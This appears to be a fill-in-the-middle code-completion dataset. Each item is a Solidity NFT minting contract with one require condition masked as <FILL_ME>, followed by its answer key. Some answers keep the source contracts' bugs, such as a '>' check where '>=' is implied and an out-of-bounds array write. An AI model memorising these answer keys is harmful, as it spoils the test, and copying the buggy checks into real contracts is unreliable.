require(qtyMinted[msg.sender] + num <= MAX_PER_WALLET, "No more");
qtyMinted[msg.sender] += num;
_safeMint(msg.sender, num);
}
function setBaseURI(string memory baseURI) public onlyOwner
{
}
function withdraw() public onlyOwner nonReentrant
{
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory)
{
}
function reveal(bool _revealed) external onlyOwner
{
}
function setInitialize(bool _initialize) external onlyOwner
{
}
function setPrice(uint256 _price) external onlyOwner
{
}
function setMaxLimitPerTransaction(uint256 _limit) external onlyOwner
{
}
function setMaxFreeAmount(uint256 _amount) external onlyOwner
{
}
function setMaxPerWallet(uint256 _amount) external onlyOwner
{
}
}
| totalSupply()+num<MAX_SUPPLY+1,"No more" | 70,557 | totalSupply()+num<MAX_SUPPLY+1 |
"No more" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
import "hardhat/console.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract CyberBirds is ERC721A, Ownable, ReentrancyGuard {
using Address for address;
using Strings for uint;
string public baseTokenURI = "https://bafybeiexic7de5w24ulpfjirqi7dpzpixoavdcjajx4ounbs6w6v7q6fw4.ipfs.nftstorage.link/metadata";
uint256 public MAX_SUPPLY = 333;
uint256 public MAX_FREE_SUPPLY = 0;
uint256 public MAX_PER_TX = 20;
uint256 public PRICE = 0.008 ether;
uint256 public maxFreePerTx = 1;
uint256 public MAX_PER_WALLET = 20;
bool public initialize = true;
bool public revealed = true;
mapping(address => uint256) public qtyMinted;
mapping(address => uint256) public qtyFreeMinted;
constructor() ERC721A("CyberBirds", "CB") {
}
function mint(uint256 amount) external payable
{
uint256 cost = PRICE;
uint256 num = amount > 0 ? amount : 1;
bool free = ((totalSupply() + num < MAX_FREE_SUPPLY + 1) &&
(qtyFreeMinted[msg.sender] + num <= 1));
if (free) {
cost = 0;
qtyFreeMinted[msg.sender] += num;
require(num < maxFreePerTx + 1, "Max per TX reached.");
} else {
require(num < MAX_PER_TX + 1, "Max per TX reached.");
}
require(initialize, "Minting is not live yet.");
require(msg.value >= num * cost, "Please send the exact amount.");
require(totalSupply() + num < MAX_SUPPLY + 1, "No more");
require(<FILL_ME>)
qtyMinted[msg.sender] += num;
_safeMint(msg.sender, num);
}
function setBaseURI(string memory baseURI) public onlyOwner
{
}
function withdraw() public onlyOwner nonReentrant
{
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory)
{
}
function _baseURI() internal view virtual override returns (string memory)
{
}
function reveal(bool _revealed) external onlyOwner
{
}
function setInitialize(bool _initialize) external onlyOwner
{
}
function setPrice(uint256 _price) external onlyOwner
{
}
function setMaxLimitPerTransaction(uint256 _limit) external onlyOwner
{
}
function setMaxFreeAmount(uint256 _amount) external onlyOwner
{
}
function setMaxPerWallet(uint256 _amount) external onlyOwner
{
}
}
| qtyMinted[msg.sender]+num<=MAX_PER_WALLET,"No more" | 70,557 | qtyMinted[msg.sender]+num<=MAX_PER_WALLET |
'Catbot not owned' | //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/interfaces/IERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC2981.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC721.sol';
import './IERC1155.sol';
contract Catboticans is ERC721Enumerable, Ownable, Pausable, ReentrancyGuard, IERC2981 {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _redeemIds;
Counters.Counter private _tokenIds;
bool public mintActive = false;
string private baseURI;
string private tokenSuffixURI;
string private contractMetadata = 'contract.json';
uint256 public constant RESERVED_TOKEN_ID_OFFSET = 12000; // Tokens reserved for replicats
address[] private recipients;
uint16[] private splits;
uint16 public constant SPLIT_BASE = 10000;
uint256 public descendicatMintPrice;
mapping(address => bool) public proxyRegistryAddress;
mapping(uint256 => uint16[]) descendicatMapping;
event ReplicatMinted(address indexed owner, uint256 indexed id);
event ReplicatBatchMinted(address indexed owner, uint256[] ids);
event DescendicatMinted(address indexed owner, uint256 indexed id, uint256 indexed catbotId, uint8 mainLock, uint8 additionalLock);
event ContractWithdraw(address indexed initiator, uint256 amount);
event ContractWithdrawToken(address indexed initiator, address indexed token, uint256 amount);
event WithdrawAddressChanged(address indexed previousAddress, address indexed newAddress);
uint16 internal royalty = 1000; // base 10000, 10%
uint16 public constant BASE = 10000;
IERC721 cbotContract;
IERC1155 nvContract;
constructor(
string memory _baseContractURI,
string memory _tokenSuffixURI,
address[] memory _recipients,
uint16[] memory _splits,
address _cbotContract,
address _nvContract,
address _proxyAddress
) ERC721('Catboticans', '3DCBOT') {
}
function mintRelpicat(uint256 id) external nonReentrant {
require(mintActive,'mint disabled');
require(<FILL_ME>)
require(nvContract.balanceOf(msg.sender,1) > 0 ,'Not enough NV1');
emit ReplicatMinted(msg.sender, id);
_safeMint(msg.sender, id);
nvContract.burn(msg.sender, 1, 1);
}
function batchMintRelpicat(uint256[] calldata ids) external nonReentrant {
}
function mintDescendicat(uint256 id, uint8 mainLock, uint8 additionalLock) external payable nonReentrant {
}
function descendicatCount(uint256 id) external view returns (uint256){
}
function setBaseURI(string memory baseContractURI) external onlyOwner {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev returns the base contract metadata json object
* this metadat file is used by OpenSea see {https://docs.opensea.io/docs/contract-level-metadata}
*
*/
function contractURI() public view returns (string memory) {
}
/**
* @dev withdraws the contract balance and send it to the withdraw Addresses based on split ratio.
*
* Emits a {ContractWithdraw} event.
*/
function withdraw() external nonReentrant {
}
/// @notice Calculate the royalty payment
/// @param _salePrice the sale price of the token
function royaltyInfo(uint256, uint256 _salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
/// @dev set the royalty
/// @param _royalty the royalty in base 10000, 500 = 5%
function setRoyalty(uint16 _royalty) public onlyOwner {
}
/// @dev withdraw ERC20 tokens divided by splits
function withdrawTokens(address _tokenContract) external nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, IERC165) returns (bool) {
}
/**
* @dev Allows replacing an existing withdraw address
*
* Emits a {WithdrawAddressChanged} event.
*/
function changeWithdrawAddress(address _recipient) external {
}
/*
* Function to allow receiving ETH sent to contract
*
*/
receive() external payable {}
/**
* Override isApprovedForAll to whitelisted marketplaces to enable gas-free listings.
*
*/
function isApprovedForAll(address _owner, address _operator) public view override(ERC721, IERC721) returns (bool isOperator) {
}
/*
* Function to set status of proxy contracts addresses
*
*/
function setProxy(address _proxyAddress, bool _value) external onlyOwner {
}
/*
* Function to set Descendicat minting ETH price
*
*/
function setMintPrice(uint256 _price) external onlyOwner {
}
/*
* Function to activate and deactivate minting
*
*/
function flipMintActive() external onlyOwner {
}
function burn(uint256 tokenId) external {
}
}
| cbotContract.ownerOf(id)==msg.sender,'Catbot not owned' | 70,700 | cbotContract.ownerOf(id)==msg.sender |
'Not enough NV1' | //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/interfaces/IERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC2981.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC721.sol';
import './IERC1155.sol';
contract Catboticans is ERC721Enumerable, Ownable, Pausable, ReentrancyGuard, IERC2981 {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _redeemIds;
Counters.Counter private _tokenIds;
bool public mintActive = false;
string private baseURI;
string private tokenSuffixURI;
string private contractMetadata = 'contract.json';
uint256 public constant RESERVED_TOKEN_ID_OFFSET = 12000; // Tokens reserved for replicats
address[] private recipients;
uint16[] private splits;
uint16 public constant SPLIT_BASE = 10000;
uint256 public descendicatMintPrice;
mapping(address => bool) public proxyRegistryAddress;
mapping(uint256 => uint16[]) descendicatMapping;
event ReplicatMinted(address indexed owner, uint256 indexed id);
event ReplicatBatchMinted(address indexed owner, uint256[] ids);
event DescendicatMinted(address indexed owner, uint256 indexed id, uint256 indexed catbotId, uint8 mainLock, uint8 additionalLock);
event ContractWithdraw(address indexed initiator, uint256 amount);
event ContractWithdrawToken(address indexed initiator, address indexed token, uint256 amount);
event WithdrawAddressChanged(address indexed previousAddress, address indexed newAddress);
uint16 internal royalty = 1000; // base 10000, 10%
uint16 public constant BASE = 10000;
IERC721 cbotContract;
IERC1155 nvContract;
constructor(
string memory _baseContractURI,
string memory _tokenSuffixURI,
address[] memory _recipients,
uint16[] memory _splits,
address _cbotContract,
address _nvContract,
address _proxyAddress
) ERC721('Catboticans', '3DCBOT') {
}
function mintRelpicat(uint256 id) external nonReentrant {
require(mintActive,'mint disabled');
require(cbotContract.ownerOf(id) == msg.sender,'Catbot not owned');
require(<FILL_ME>)
emit ReplicatMinted(msg.sender, id);
_safeMint(msg.sender, id);
nvContract.burn(msg.sender, 1, 1);
}
function batchMintRelpicat(uint256[] calldata ids) external nonReentrant {
}
function mintDescendicat(uint256 id, uint8 mainLock, uint8 additionalLock) external payable nonReentrant {
}
function descendicatCount(uint256 id) external view returns (uint256){
}
function setBaseURI(string memory baseContractURI) external onlyOwner {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev returns the base contract metadata json object
* this metadat file is used by OpenSea see {https://docs.opensea.io/docs/contract-level-metadata}
*
*/
function contractURI() public view returns (string memory) {
}
/**
* @dev withdraws the contract balance and send it to the withdraw Addresses based on split ratio.
*
* Emits a {ContractWithdraw} event.
*/
function withdraw() external nonReentrant {
}
/// @notice Calculate the royalty payment
/// @param _salePrice the sale price of the token
function royaltyInfo(uint256, uint256 _salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
/// @dev set the royalty
/// @param _royalty the royalty in base 10000, 500 = 5%
function setRoyalty(uint16 _royalty) public onlyOwner {
}
/// @dev withdraw ERC20 tokens divided by splits
function withdrawTokens(address _tokenContract) external nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, IERC165) returns (bool) {
}
/**
* @dev Allows replacing an existing withdraw address
*
* Emits a {WithdrawAddressChanged} event.
*/
function changeWithdrawAddress(address _recipient) external {
}
/*
* Function to allow receiving ETH sent to contract
*
*/
receive() external payable {}
/**
* Override isApprovedForAll to whitelisted marketplaces to enable gas-free listings.
*
*/
function isApprovedForAll(address _owner, address _operator) public view override(ERC721, IERC721) returns (bool isOperator) {
}
/*
* Function to set status of proxy contracts addresses
*
*/
function setProxy(address _proxyAddress, bool _value) external onlyOwner {
}
/*
* Function to set Descendicat minting ETH price
*
*/
function setMintPrice(uint256 _price) external onlyOwner {
}
/*
* Function to activate and deactivate minting
*
*/
function flipMintActive() external onlyOwner {
}
function burn(uint256 tokenId) external {
}
}
| nvContract.balanceOf(msg.sender,1)>0,'Not enough NV1' | 70,700 | nvContract.balanceOf(msg.sender,1)>0 |
'Not enough NV1' | //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/interfaces/IERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC2981.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC721.sol';
import './IERC1155.sol';
contract Catboticans is ERC721Enumerable, Ownable, Pausable, ReentrancyGuard, IERC2981 {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _redeemIds;
Counters.Counter private _tokenIds;
bool public mintActive = false;
string private baseURI;
string private tokenSuffixURI;
string private contractMetadata = 'contract.json';
uint256 public constant RESERVED_TOKEN_ID_OFFSET = 12000; // Tokens reserved for replicats
address[] private recipients;
uint16[] private splits;
uint16 public constant SPLIT_BASE = 10000;
uint256 public descendicatMintPrice;
mapping(address => bool) public proxyRegistryAddress;
mapping(uint256 => uint16[]) descendicatMapping;
event ReplicatMinted(address indexed owner, uint256 indexed id);
event ReplicatBatchMinted(address indexed owner, uint256[] ids);
event DescendicatMinted(address indexed owner, uint256 indexed id, uint256 indexed catbotId, uint8 mainLock, uint8 additionalLock);
event ContractWithdraw(address indexed initiator, uint256 amount);
event ContractWithdrawToken(address indexed initiator, address indexed token, uint256 amount);
event WithdrawAddressChanged(address indexed previousAddress, address indexed newAddress);
uint16 internal royalty = 1000; // base 10000, 10%
uint16 public constant BASE = 10000;
IERC721 cbotContract;
IERC1155 nvContract;
constructor(
string memory _baseContractURI,
string memory _tokenSuffixURI,
address[] memory _recipients,
uint16[] memory _splits,
address _cbotContract,
address _nvContract,
address _proxyAddress
) ERC721('Catboticans', '3DCBOT') {
}
function mintRelpicat(uint256 id) external nonReentrant {
}
function batchMintRelpicat(uint256[] calldata ids) external nonReentrant {
require(mintActive,'mint disabled');
require(<FILL_ME>)
emit ReplicatBatchMinted(msg.sender, ids);
for (uint256 i = 0; i < ids.length; i++) {
require(cbotContract.ownerOf(ids[i]) == msg.sender,'Catbot not owned');
_safeMint(msg.sender, ids[i]);
}
nvContract.burn(msg.sender, 1, ids.length);
}
function mintDescendicat(uint256 id, uint8 mainLock, uint8 additionalLock) external payable nonReentrant {
}
function descendicatCount(uint256 id) external view returns (uint256){
}
function setBaseURI(string memory baseContractURI) external onlyOwner {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev returns the base contract metadata json object
* this metadat file is used by OpenSea see {https://docs.opensea.io/docs/contract-level-metadata}
*
*/
function contractURI() public view returns (string memory) {
}
/**
* @dev withdraws the contract balance and send it to the withdraw Addresses based on split ratio.
*
* Emits a {ContractWithdraw} event.
*/
function withdraw() external nonReentrant {
}
/// @notice Calculate the royalty payment
/// @param _salePrice the sale price of the token
function royaltyInfo(uint256, uint256 _salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
/// @dev set the royalty
/// @param _royalty the royalty in base 10000, 500 = 5%
function setRoyalty(uint16 _royalty) public onlyOwner {
}
/// @dev withdraw ERC20 tokens divided by splits
function withdrawTokens(address _tokenContract) external nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, IERC165) returns (bool) {
}
/**
* @dev Allows replacing an existing withdraw address
*
* Emits a {WithdrawAddressChanged} event.
*/
function changeWithdrawAddress(address _recipient) external {
}
/*
* Function to allow receiving ETH sent to contract
*
*/
receive() external payable {}
/**
* Override isApprovedForAll to whitelisted marketplaces to enable gas-free listings.
*
*/
function isApprovedForAll(address _owner, address _operator) public view override(ERC721, IERC721) returns (bool isOperator) {
}
/*
* Function to set status of proxy contracts addresses
*
*/
function setProxy(address _proxyAddress, bool _value) external onlyOwner {
}
/*
* Function to set Descendicat minting ETH price
*
*/
function setMintPrice(uint256 _price) external onlyOwner {
}
/*
* Function to activate and deactivate minting
*
*/
function flipMintActive() external onlyOwner {
}
function burn(uint256 tokenId) external {
}
}
| nvContract.balanceOf(msg.sender,1)>=ids.length,'Not enough NV1' | 70,700 | nvContract.balanceOf(msg.sender,1)>=ids.length |
'Catbot not owned' | //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/interfaces/IERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC2981.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC721.sol';
import './IERC1155.sol';
contract Catboticans is ERC721Enumerable, Ownable, Pausable, ReentrancyGuard, IERC2981 {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _redeemIds;
Counters.Counter private _tokenIds;
bool public mintActive = false;
string private baseURI;
string private tokenSuffixURI;
string private contractMetadata = 'contract.json';
uint256 public constant RESERVED_TOKEN_ID_OFFSET = 12000; // Tokens reserved for replicats
address[] private recipients;
uint16[] private splits;
uint16 public constant SPLIT_BASE = 10000;
uint256 public descendicatMintPrice;
mapping(address => bool) public proxyRegistryAddress;
mapping(uint256 => uint16[]) descendicatMapping;
event ReplicatMinted(address indexed owner, uint256 indexed id);
event ReplicatBatchMinted(address indexed owner, uint256[] ids);
event DescendicatMinted(address indexed owner, uint256 indexed id, uint256 indexed catbotId, uint8 mainLock, uint8 additionalLock);
event ContractWithdraw(address indexed initiator, uint256 amount);
event ContractWithdrawToken(address indexed initiator, address indexed token, uint256 amount);
event WithdrawAddressChanged(address indexed previousAddress, address indexed newAddress);
uint16 internal royalty = 1000; // base 10000, 10%
uint16 public constant BASE = 10000;
IERC721 cbotContract;
IERC1155 nvContract;
constructor(
string memory _baseContractURI,
string memory _tokenSuffixURI,
address[] memory _recipients,
uint16[] memory _splits,
address _cbotContract,
address _nvContract,
address _proxyAddress
) ERC721('Catboticans', '3DCBOT') {
}
function mintRelpicat(uint256 id) external nonReentrant {
}
function batchMintRelpicat(uint256[] calldata ids) external nonReentrant {
require(mintActive,'mint disabled');
require(nvContract.balanceOf(msg.sender,1) >= ids.length ,'Not enough NV1');
emit ReplicatBatchMinted(msg.sender, ids);
for (uint256 i = 0; i < ids.length; i++) {
require(<FILL_ME>)
_safeMint(msg.sender, ids[i]);
}
nvContract.burn(msg.sender, 1, ids.length);
}
function mintDescendicat(uint256 id, uint8 mainLock, uint8 additionalLock) external payable nonReentrant {
}
function descendicatCount(uint256 id) external view returns (uint256){
}
function setBaseURI(string memory baseContractURI) external onlyOwner {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev returns the base contract metadata json object
* this metadat file is used by OpenSea see {https://docs.opensea.io/docs/contract-level-metadata}
*
*/
function contractURI() public view returns (string memory) {
}
/**
* @dev withdraws the contract balance and send it to the withdraw Addresses based on split ratio.
*
* Emits a {ContractWithdraw} event.
*/
function withdraw() external nonReentrant {
}
/// @notice Calculate the royalty payment
/// @param _salePrice the sale price of the token
function royaltyInfo(uint256, uint256 _salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
/// @dev set the royalty
/// @param _royalty the royalty in base 10000, 500 = 5%
function setRoyalty(uint16 _royalty) public onlyOwner {
}
/// @dev withdraw ERC20 tokens divided by splits
function withdrawTokens(address _tokenContract) external nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, IERC165) returns (bool) {
}
/**
* @dev Allows replacing an existing withdraw address
*
* Emits a {WithdrawAddressChanged} event.
*/
function changeWithdrawAddress(address _recipient) external {
}
/*
* Function to allow receiving ETH sent to contract
*
*/
receive() external payable {}
/**
* Override isApprovedForAll to whitelisted marketplaces to enable gas-free listings.
*
*/
function isApprovedForAll(address _owner, address _operator) public view override(ERC721, IERC721) returns (bool isOperator) {
}
/*
* Function to set status of proxy contracts addresses
*
*/
function setProxy(address _proxyAddress, bool _value) external onlyOwner {
}
/*
* Function to set Descendicat minting ETH price
*
*/
function setMintPrice(uint256 _price) external onlyOwner {
}
/*
* Function to activate and deactivate minting
*
*/
function flipMintActive() external onlyOwner {
}
function burn(uint256 tokenId) external {
}
}
| cbotContract.ownerOf(ids[i])==msg.sender,'Catbot not owned' | 70,700 | cbotContract.ownerOf(ids[i])==msg.sender |
'Not enough NV2' | //Contract based on [https://docs.openzeppelin.com/contracts/3.x/erc721](https://docs.openzeppelin.com/contracts/3.x/erc721)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
import '@openzeppelin/contracts/utils/Counters.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/interfaces/IERC20.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/interfaces/IERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC2981.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import '@openzeppelin/contracts/interfaces/IERC721.sol';
import './IERC1155.sol';
contract Catboticans is ERC721Enumerable, Ownable, Pausable, ReentrancyGuard, IERC2981 {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _redeemIds;
Counters.Counter private _tokenIds;
bool public mintActive = false;
string private baseURI;
string private tokenSuffixURI;
string private contractMetadata = 'contract.json';
uint256 public constant RESERVED_TOKEN_ID_OFFSET = 12000; // Tokens reserved for replicats
address[] private recipients;
uint16[] private splits;
uint16 public constant SPLIT_BASE = 10000;
uint256 public descendicatMintPrice;
mapping(address => bool) public proxyRegistryAddress;
mapping(uint256 => uint16[]) descendicatMapping;
event ReplicatMinted(address indexed owner, uint256 indexed id);
event ReplicatBatchMinted(address indexed owner, uint256[] ids);
event DescendicatMinted(address indexed owner, uint256 indexed id, uint256 indexed catbotId, uint8 mainLock, uint8 additionalLock);
event ContractWithdraw(address indexed initiator, uint256 amount);
event ContractWithdrawToken(address indexed initiator, address indexed token, uint256 amount);
event WithdrawAddressChanged(address indexed previousAddress, address indexed newAddress);
uint16 internal royalty = 1000; // base 10000, 10%
uint16 public constant BASE = 10000;
IERC721 cbotContract;
IERC1155 nvContract;
constructor(
string memory _baseContractURI,
string memory _tokenSuffixURI,
address[] memory _recipients,
uint16[] memory _splits,
address _cbotContract,
address _nvContract,
address _proxyAddress
) ERC721('Catboticans', '3DCBOT') {
}
function mintRelpicat(uint256 id) external nonReentrant {
}
function batchMintRelpicat(uint256[] calldata ids) external nonReentrant {
}
function mintDescendicat(uint256 id, uint8 mainLock, uint8 additionalLock) external payable nonReentrant {
require(mintActive,'mint disabled');
require(cbotContract.ownerOf(id) == msg.sender,'Catbot not owned');
require(msg.value >= descendicatMintPrice, 'Insufficient ETH');
uint256 requiredNV2 = 1;
if(additionalLock > 0) {
requiredNV2 = 2;
}
require(<FILL_ME>)
_tokenIds.increment();
uint256 currentTokenId = _tokenIds.current()+RESERVED_TOKEN_ID_OFFSET;
uint256 count = descendicatMapping[id].length;
descendicatMapping[id][count] = uint16(currentTokenId);
emit DescendicatMinted(msg.sender, currentTokenId, id, mainLock, additionalLock);
_safeMint(msg.sender, currentTokenId);
nvContract.burn(msg.sender, 2, requiredNV2);
}
function descendicatCount(uint256 id) external view returns (uint256){
}
function setBaseURI(string memory baseContractURI) external onlyOwner {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev returns the base contract metadata json object
* this metadat file is used by OpenSea see {https://docs.opensea.io/docs/contract-level-metadata}
*
*/
function contractURI() public view returns (string memory) {
}
/**
* @dev withdraws the contract balance and send it to the withdraw Addresses based on split ratio.
*
* Emits a {ContractWithdraw} event.
*/
function withdraw() external nonReentrant {
}
/// @notice Calculate the royalty payment
/// @param _salePrice the sale price of the token
function royaltyInfo(uint256, uint256 _salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
/// @dev set the royalty
/// @param _royalty the royalty in base 10000, 500 = 5%
function setRoyalty(uint16 _royalty) public onlyOwner {
}
/// @dev withdraw ERC20 tokens divided by splits
function withdrawTokens(address _tokenContract) external nonReentrant {
}
function supportsInterface(bytes4 interfaceId) public view override(ERC721Enumerable, IERC165) returns (bool) {
}
/**
* @dev Allows replacing an existing withdraw address
*
* Emits a {WithdrawAddressChanged} event.
*/
function changeWithdrawAddress(address _recipient) external {
}
/*
* Function to allow receiving ETH sent to contract
*
*/
receive() external payable {}
/**
* Override isApprovedForAll to whitelisted marketplaces to enable gas-free listings.
*
*/
function isApprovedForAll(address _owner, address _operator) public view override(ERC721, IERC721) returns (bool isOperator) {
}
/*
* Function to set status of proxy contracts addresses
*
*/
function setProxy(address _proxyAddress, bool _value) external onlyOwner {
}
/*
* Function to set Descendicat minting ETH price
*
*/
function setMintPrice(uint256 _price) external onlyOwner {
}
/*
* Function to activate and deactivate minting
*
*/
function flipMintActive() external onlyOwner {
}
function burn(uint256 tokenId) external {
}
}
| nvContract.balanceOf(msg.sender,2)>requiredNV2,'Not enough NV2' | 70,700 | nvContract.balanceOf(msg.sender,2)>requiredNV2 |
"Invalid proof!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
error ApprovalCallerNotOwnerNorApproved();
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable,
Ownable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable collectionSize;
uint256 internal immutable maxBatchSize;
bytes32 public ListWhitelistMerkleRoot; //////////////////////////////////////////////////////////////////////////////////////////////////////// new 1
//Allow all tokens to transfer to contract
bool public allowedToContract = false; ///////////////////////////////////////////////////////////////////////////////////////////////////// new 2
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Mapping token to allow to transfer to contract
mapping(uint256 => bool) public _transferToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1
mapping(address => bool) public _addressTransferToContract; ///////////////////////////////////////////////////////////////////////////////////// new 1
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
